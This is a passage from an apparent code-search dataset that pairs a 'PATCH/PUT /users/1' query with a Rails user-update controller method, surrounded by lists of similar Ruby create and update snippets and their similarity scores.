"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end",
"def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end",
"def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end",
"def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end",
"def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end",
"def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend",
"def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end",
"def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end",
"def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end",
"def create\r\n @user = User.new(params[:user])\r\n\r\n respond_to do |format|\r\n if @user.save\r\n format.html { redirect_to users_path, notice: 'Os dados do usuário foram salvos com sucesso!' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end",
"def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end",
"def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end",
"def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end",
"def create\n user = User.new(username: params[:username])\n if user.save\n payload = {'user_id': user.id}\n token = JWT.encode(payload, 'chatapp')\n render json: {\n user: user,\n token: token\n }\n else \n render json: { message: 'There was an error creating your account' }\n end\n end",
"def create\n user = User.create!(user_params)\n if user\n session[:user_id] = user.id\n render json: user, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def create\r\n @user = User.new user_params\r\n\r\n if @user.save\r\n render json: @user, serializer: SessionSerializer, root: nil\r\n else\r\n render json: { errors: @user.errors }, status: :unprocessable_entity\r\n end\r\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: { status: 'OK', msg: 'User was created.', error: 'nil' },\n status: :created\n else\n not_good(422)\n end\n end"
] | [
"0.77171224",
"0.7520082",
"0.7383616",
"0.72409296",
"0.71978706",
"0.71414214",
"0.7104655",
"0.7059102",
"0.7041023",
"0.70248663",
"0.7003639",
"0.7002607",
"0.7002607",
"0.7002607",
"0.6992824",
"0.6990796",
"0.6980945",
"0.69801277",
"0.6979133",
"0.6979133",
"0.6976736",
"0.69628066",
"0.6952299",
"0.69458276",
"0.69458276",
"0.6920878",
"0.6914779",
"0.690185",
"0.6898782",
"0.6894556",
"0.6890304",
"0.68806",
"0.6880408",
"0.6880394",
"0.6879843",
"0.68770224",
"0.68696827",
"0.68556935",
"0.68510425",
"0.68430406",
"0.681474",
"0.68036735",
"0.677813",
"0.67770576",
"0.6767577",
"0.6757646",
"0.67477995",
"0.6738948",
"0.6734951",
"0.6734288",
"0.67212176",
"0.6711618",
"0.6670208",
"0.6658757",
"0.6657401",
"0.66544783",
"0.6638575",
"0.66329575",
"0.6620139",
"0.66150504",
"0.661426",
"0.6597142",
"0.65911335",
"0.65787804",
"0.65784776",
"0.6572848",
"0.65728176",
"0.65565026",
"0.65537417",
"0.65510815",
"0.65467125",
"0.65401846",
"0.65399927",
"0.653856",
"0.6536532",
"0.6533164",
"0.65255886",
"0.6510124",
"0.650851",
"0.6507321",
"0.65030104",
"0.64904314",
"0.6488193",
"0.6487274",
"0.6473675",
"0.64712363",
"0.6470449",
"0.6470449",
"0.646918",
"0.6467537",
"0.64622897",
"0.6461711",
"0.646106",
"0.64549834",
"0.64536315",
"0.6450451",
"0.6447741",
"0.6446953",
"0.64457166",
"0.6442127"
] | 0.69177127 | 26 |
PATCH/PUT /users/1 PATCH/PUT /users/1.json | def update
if @user.update(user_params)
render json: @user, status: :ok, location: api_application_user_path(@application,@user)
else
render json: @user.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_user(user_id, body)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty? || body.empty?\n path = \"#{users_path}/#{user_id}\"\n patch(path, body)\n end",
"def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user.update(user_params)\n respond_with @user\n end",
"def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = get_user(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_url, notice: \"User #{@user.login_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
